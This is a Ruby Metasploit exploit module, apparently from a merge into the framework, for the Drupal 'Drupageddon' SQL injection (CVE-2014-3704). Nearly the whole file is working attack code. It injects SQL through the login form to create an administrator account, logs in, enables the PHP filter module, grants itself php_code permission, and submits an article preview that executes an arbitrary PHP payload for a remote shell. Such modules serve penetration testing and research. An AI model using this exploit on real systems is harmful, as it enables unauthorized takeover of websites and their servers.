Land #4037, Drupageddon exploit
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##
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# This module requires Metasploit: http//metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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def initialize(info={})
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super(update_info(info,
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'Name' => 'Drupal HTTP Parameter Key/Value SQL Injection',
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'Description' => %q{
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This module exploits the Drupal HTTP Parameter Key/Value SQL Injection
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(aka Drupageddon) in order to achieve a remote shell on the vulnerable
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instance. This module was tested against Drupal 7.0 and 7.31 (was fixed
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in 7.32).
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'SektionEins', # discovery
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'Christian Mehlmauer', # msf module
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'Brandon Perry' # msf module
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],
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'References' =>
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[
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['CVE', '2014-3704'],
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['URL', 'https://www.drupal.org/SA-CORE-2014-005'],
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['URL', 'http://www.sektioneins.de/en/advisories/advisory-012014-drupal-pre-auth-sql-injection-vulnerability.html']
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],
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'Privileged' => false,
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'Platform' => ['php'],
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'Arch' => ARCH_PHP,
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'Targets' => [['Drupal 7.0 - 7.31',{}]],
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'DisclosureDate' => 'Oct 15 2014',
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'DefaultTarget' => 0
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))
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register_options(
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[
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OptString.new('TARGETURI', [ true, "The target URI of the Drupal installation", '/'])
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], self.class)
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register_advanced_options(
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[
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OptString.new('ADMIN_ROLE', [ true, "The administrator role", 'administrator']),
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OptInt.new('ITER', [ true, "Hash iterations (2^ITER)", 10])
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], self.class)
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end
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def uri_path
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normalize_uri(target_uri.path)
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end
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def admin_role
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datastore['ADMIN_ROLE']
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end
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def iter
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datastore['ITER']
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end
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def itoa64
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'./0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
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end
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# PHPs PHPASS base64 method
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def phpass_encode64(input, count)
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out = ''
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cur = 0
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while cur < count
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value = input[cur].ord
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cur += 1
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out << itoa64[value & 0x3f]
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if cur < count
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value |= input[cur].ord << 8
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end
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out << itoa64[(value >> 6) & 0x3f]
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break if cur >= count
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cur += 1
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if cur < count
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value |= input[cur].ord << 16
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end
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out << itoa64[(value >> 12) & 0x3f]
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break if cur >= count
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cur += 1
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out << itoa64[(value >> 18) & 0x3f]
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end
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out
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end
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def generate_password_hash(pass)
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# Syntax for MD5:
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# $P$ = MD5
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# one char representing the hash iterations (min 7)
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# 8 chars salt
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# MD5_raw(salt.pass) + iterations
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# MD5 phpass base64 encoded (!= encode_base64) and trimmed to 22 chars for md5
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iter_char = itoa64[iter]
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salt = Rex::Text.rand_text_alpha(8)
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md5 = Rex::Text.md5_raw("#{salt}#{pass}")
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# convert iter from log2 to integer
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iter_count = 2**iter
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1.upto(iter_count) {
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md5 = Rex::Text.md5_raw("#{md5}#{pass}")
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}
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md5_base64 = phpass_encode64(md5, md5.length)
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md5_stripped = md5_base64[0...22]
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pass = "$P\\$" + iter_char + salt + md5_stripped
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vprint_debug("#{peer} - password hash: #{pass}")
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return pass
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end
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def sql_insert_user(user, pass)
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"insert into users (uid, name, pass, mail, status) select max(uid)+1, '#{user}', '#{generate_password_hash(pass)}', '#{Rex::Text.rand_text_alpha_lower(5)}@#{Rex::Text.rand_text_alpha_lower(5)}.#{Rex::Text.rand_text_alpha_lower(3)}', 1 from users"
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end
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def sql_make_user_admin(user)
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"insert into users_roles (uid, rid) VALUES ((select uid from users where name='#{user}'), (select rid from role where name = '#{admin_role}'))"
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end
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def extract_form_ids(content)
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form_build_id = $1 if content =~ /name="form_build_id" value="(.+)" \/>/
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form_token = $1 if content =~ /name="form_token" value="(.+)" \/>/
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vprint_debug("#{peer} - form_build_id: #{form_build_id}")
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vprint_debug("#{peer} - form_token: #{form_token}")
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return form_build_id, form_token
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end
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def exploit
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# TODO: Check if option admin_role exists via admin/people/permissions/roles
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# call login page to extract tokens
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print_status("#{peer} - Testing page")
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res = send_request_cgi({
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'uri' => uri_path,
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'vars_get' => {
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'q' => 'user/login'
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}
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})
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unless res and res.body
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fail_with(Failure::Unknown, "No response or response body, bailing.")
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end
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form_build_id, form_token = extract_form_ids(res.body)
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user = Rex::Text.rand_text_alpha(10)
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pass = Rex::Text.rand_text_alpha(10)
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post = {
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"name[0 ;#{sql_insert_user(user, pass)}; #{sql_make_user_admin(user)}; # ]" => Rex::Text.rand_text_alpha(10),
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'name[0]' => Rex::Text.rand_text_alpha(10),
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'pass' => Rex::Text.rand_text_alpha(10),
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'form_build_id' => form_build_id,
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'form_id' => 'user_login',
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'op' => 'Log in'
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}
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print_status("#{peer} - Creating new user #{user}:#{pass}")
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res = send_request_cgi({
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'uri' => uri_path,
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'method' => 'POST',
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'vars_post' => post,
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'vars_get' => {
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'q' => 'user/login'
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}
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})
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unless res and res.body
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fail_with(Failure::Unknown, "No response or response body, bailing.")
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end
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# login
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print_status("#{peer} - Logging in as #{user}:#{pass}")
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res = send_request_cgi({
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'uri' => uri_path,
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'method' => 'POST',
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'vars_post' => {
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'name' => user,
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'pass' => pass,
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'form_build_id' => form_build_id,
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'form_id' => 'user_login',
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'op' => 'Log in'
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},
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'vars_get' => {
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'q' => 'user/login'
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}
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})
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unless res and res.code == 302
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fail_with(Failure::Unknown, "No response or response body, bailing.")
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end
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cookie = res.get_cookies
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vprint_debug("#{peer} - cookie: #{cookie}")
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# call admin interface to extract CSRF token and enabled modules
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print_status("#{peer} - Trying to parse enabled modules")
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res = send_request_cgi({
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'uri' => uri_path,
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'vars_get' => {
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'q' => 'admin/modules'
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},
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'cookie' => cookie
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})
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form_build_id, form_token = extract_form_ids(res.body)
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enabled_module_regex = /name="(.+)" value="1" checked="checked" class="form-checkbox"/
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enabled_matches = res.body.to_enum(:scan, enabled_module_regex).map { Regexp.last_match }
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unless enabled_matches
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fail_with(Failure::Unknown, "No modules enabled is incorrect, bailing.")
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end
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post = {
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'modules[Core][php][enable]' => '1',
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'form_build_id' => form_build_id,
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'form_token' => form_token,
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'form_id' => 'system_modules',
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'op' => 'Save configuration'
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}
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enabled_matches.each do |match|
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post[match.captures[0]] = '1'
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end
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# enable PHP filter
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print_status("#{peer} - Enabling the PHP filter module")
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res = send_request_cgi({
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'uri' => uri_path,
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'method' => 'POST',
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'vars_post' => post,
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'vars_get' => {
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'q' => 'admin/modules/list/confirm'
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},
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'cookie' => cookie
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})
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unless res and res.body
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fail_with(Failure::Unknown, "No response or response body, bailing.")
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end
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# Response: http 302, Location: http://10.211.55.50/?q=admin/modules
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print_status("#{peer} - Setting permissions for PHP filter module")
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# allow admin to use php_code
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res = send_request_cgi({
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'uri' => uri_path,
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'vars_get' => {
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'q' => 'admin/people/permissions'
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},
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'cookie' => cookie
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})
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unless res and res.body
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fail_with(Failure::Unknown, "No response or response body, bailing.")
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end
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form_build_id, form_token = extract_form_ids(res.body)
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perm_regex = /name="(.*)" value="(.*)" checked="checked"/
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enabled_perms = res.body.to_enum(:scan, perm_regex).map { Regexp.last_match }
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unless enabled_perms
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fail_with(Failure::Unknown, "No enabled permissions were able to be parsed, bailing.")
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end
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# get administrator role id
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id = $1 if res.body =~ /for="edit-([0-9]+)-administer-content-types">#{admin_role}:/
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vprint_debug("#{peer} - admin role id: #{id}")
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unless id
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fail_with(Failure::Unknown, "Could not parse out administrator ID")
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end
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post = {
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"#{id}[use text format php_code]" => 'use text format php_code',
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'form_build_id' => form_build_id,
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'form_token' => form_token,
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'form_id' => 'user_admin_permissions',
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'op' => 'Save permissions'
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}
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enabled_perms.each do |match|
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post[match.captures[0]] = match.captures[1]
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end
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res = send_request_cgi({
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'uri' => uri_path,
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'method' => 'POST',
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'vars_post' => post,
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'vars_get' => {
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'q' => 'admin/people/permissions'
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},
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'cookie' => cookie
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})
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unless res and res.body
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fail_with(Failure::Unknown, "No response or response body, bailing.")
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end
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# Add new Content page (extract csrf token)
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print_status("#{peer} - Getting tokens from create new article page")
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res = send_request_cgi({
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'uri' => uri_path,
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'vars_get' => {
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'q' => 'node/add/article'
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},
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'cookie' => cookie
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})
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unless res and res.body
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fail_with(Failure::Unknown, "No response or response body, bailing.")
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end
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form_build_id, form_token = extract_form_ids(res.body)
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# Preview to trigger the payload
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data = Rex::MIME::Message.new
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data.add_part(Rex::Text.rand_text_alpha(10), nil, nil, 'form-data; name="title"')
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data.add_part(form_build_id, nil, nil, 'form-data; name="form_build_id"')
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data.add_part(form_token, nil, nil, 'form-data; name="form_token"')
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data.add_part('article_node_form', nil, nil, 'form-data; name="form_id"')
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data.add_part('php_code', nil, nil, 'form-data; name="body[und][0][format]"')
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data.add_part("<?php #{payload.encoded} ?>", nil, nil, 'form-data; name="body[und][0][value]"')
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data.add_part('Preview', nil, nil, 'form-data; name="op"')
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data.add_part(user, nil, nil, 'form-data; name="name"')
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data.add_part('1', nil, nil, 'form-data; name="status"')
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data.add_part('1', nil, nil, 'form-data; name="promote"')
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post_data = data.to_s
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print_status("#{peer} - Calling preview page. Exploit should trigger...")
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send_request_cgi(
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'method' => 'POST',
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'uri' => uri_path,
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'ctype' => "multipart/form-data; boundary=#{data.bound}",
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'data' => post_data,
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'vars_get' => {
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'q' => 'node/add/article'
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},
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'cookie' => cookie
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)
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end
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end
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